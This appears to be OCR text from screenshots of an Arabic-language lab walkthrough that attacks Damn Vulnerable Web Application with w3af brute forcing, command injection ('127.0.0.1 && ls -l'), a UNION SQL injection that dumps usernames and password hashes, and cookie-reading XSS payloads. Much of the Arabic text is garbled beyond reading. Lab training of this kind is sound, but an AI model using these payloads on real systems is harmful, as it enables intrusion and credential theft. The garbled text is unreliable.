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«Z% Applications Places System USA Thu Mar 18, 2:47 AM @& (™7 41~ & mohd M — I N
w3af - Web Application Attack and Audit Framework — %
Profiles Edit vicw Tools Configuration Help
s @ | B @ o &
Scan config | Log e xple
Profiles Target: 1 Start
OWASP_TOP10 Plugin Active formAuthBrute
audit_high_risk b audit
= bruteforce ]
fast_scan

# basicAuthBrute This plugin bruteforces form authentication logins

Nine configurable parameters exist:

full_audit_manual_dist |, giscovery i
- usersile
sitemap evasion - 5topOnFirst
web_infrastructure |, grap - passwFile
- passEqUser
3 mangle - useMailUsers
- usesvnUsers
- useMails
- useprofiling

- profilingNumber
Plugin __|Active This plugin will take users from the file pointed by “usersFile®, mail users found on the site ( if "useMailUsers" is
P output @ set to True ), mails found on the site { if "useMails" is set to Trudg, and svn users found on the site { if "useSvnUsers"
is set to True ).

This plugin will take passwords from the file pointed by "passwdFile" and the result of the password profiling plugin
(if "useProfiling" is set to True). The profilingNumber sets the number of results from the password profiling plugin
to use in the password field.

The “stopOnFirst” parameter indicates if the bruteforce will stop when finding the first valid credentials or not.

usersFile core/cantrollers/bruteforce/users.txt ]

passwaFile [core/controllers/onuteforce/passwaords.txt ]
useMailusers ]
useSvnUsers ] .
@0 Ao o
. - = 7 = =
@ | ||+ "new file (~/Desktop) ... | @ Damn Wulnerable web ... || & w3af - Web Applicatio... | i v |

w3af s el dasa 13 UG

Target Jia & Paiwl by ) pag Profiles 4l (w bruteforce Lol a8 ¢ seall 2alis LS
.start ) e baal Lo .FormAuthBrute e L il

& AlS JS Cu ad o (g ua ab g e GlelS 5 peddinnall elend (e Cile hal (58 O (o8 dangdl o Jac 3 S8
138 Wlie 3 .saa addiie Clus ae Gl &5 (s g e AaISS Calall 832 5a gall LS aa a2die anlS Calal)
Gl cale oo (Y) .password el Ay admin aadiudl sl Jeag alaill 8 3sa g0 Clua G AN o

2&".1\_)1.»:.&\ 13 ‘;?M‘ ‘éje.)il‘u.“ alall ‘éﬁs"_lwﬁ\ 0da datiug

/w3af/core/controllers/bruteforce/users.txt
/w3af/core/controllers/bruteforce/passwords. txt



(Command Execution) J&l &k e ) ¥ c8a (2

s shell exec Ju ¥l pladinly PHP dae ll 4l A (30 Ji) ge EOleli Led ledds a8 gall (any a0
Jadd) iy 38 il ae Jalaill 1127.0.0.1 Jie g IP e ping dae Al Jiall Juw e system
f M 3At Jay IS Anal A% jay 2y o1 13 3 jede al gl dudiig el g¥) (jal

127.0.0.1 && 1ls -1
@tﬁ\bﬂ\ﬁl

I TRRPIMT e |

Setup | Ping for FREE

Brute Force | Enter an IP address below:
| | [ submit
CSRF

PING 127.0.0.1 (127.8.08.1) 56(84) bytes of data.
64 bytes from 127.0.8.1: icmp seg=1 ttl=64 time=0.048 ms
64 bytes from 127.0.8.1: icmp seg=2 ttl=64 time=0.190 ms

File Inclusion

SQL Injection . .
n | 64 bytes from 127.0.0.1: icmp_seg=3 ttl=64 time=0.000 ms
Upload |
- 127.8.08.1 ping statistics ---
XSS reflected . . .
| 3 packets transmitted, 3 received, 0% packet loss, time 2812ms

XSS stored | rtt min/avg/max/mdev = 0.008/0.079/0.190/0.081 ms

total 12

drwxr-xr-x 2 www-data www-data 4896 Oct 5 21:41 help

A Security | -rwxr-xr-x 1 www-data www-data 1509 Aug 2 2009 index.php

PHP Info | drwxr-xr-x 2 www-data www-data 4096 Oct 5 21:41 source
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Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

Mew password:

[ l

Confirm new password:

| l

Password Changed
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1' union select user,password from users;--
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File Inclusion

Setup | User ID:
Brute Force | || Submit
Command Execution | ID: 1' wunion select user,password from users;--
CSRF | First name: gdmin
| Surname: admin

SaL Injection

ID: 1" wunion select wuser,password from wusers; - -
First mame: admin

| Surname: d4ld8cdosfeebZe4e9800998cec 8427

| ID: 1" wunion select user,password from users; - -

| First mame: gordonb
Surname: e99al8c4z28cb38d5f260853678922c03

| ID: 1" wunion select user,password from users; - -

First nmame: 1337
| Surname: 8d3533d75aeZc3966d7edfdadfccBH9216b

| ID: 1" wnion select wuser,password from wusers;--

First mame: pablo
| Surname: @dle7degofSbbedfcade3ddeSc7leegb7

ID: 1" union select user,password from users; - -
First mame: smithy
Surname: 5f4dcc3bS5Saa765d61d8327deb882cTa9
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System

Linux mohd-laptop 2.6.31-20-generic #58-Ubuntu SMP Fri Mar 12
05:23:09 UTC 2010 i686

Build Date

Jan & 2010 22:15:47

Server API

Apache 2.0 Handler

Wirtual Directory disabled
Support
Configuration File fetc/phpSfapachez

(php.ini) Path

Loaded
Configuration File

fetc/phpSrapache2/php.ini

Scan this dir for
additional .ini files

fetc/phpSfapache2/conf.d

additional .ini files

fetc/phpSfapache2j/conf.d/gd. ini. fetc/phpSfapache2/fconf.d/mocrypt.ini

parsed fetc/phpS/fapache2/conf.d/mysqgl.ini, fetc/phpSfapache2fconf.d/mysqg

fetc/p hp 5fapac he2,|fcc!nf.-d,|f|:ldu._i i fetc/p I'_l pSfapac I'!e_2,|fcclnf.d
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<script>alert (document.cookie) ;</script>
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Name * \bad hacker |

<script=alert(document.cookie);</script=

Message *

Sign Guestbook
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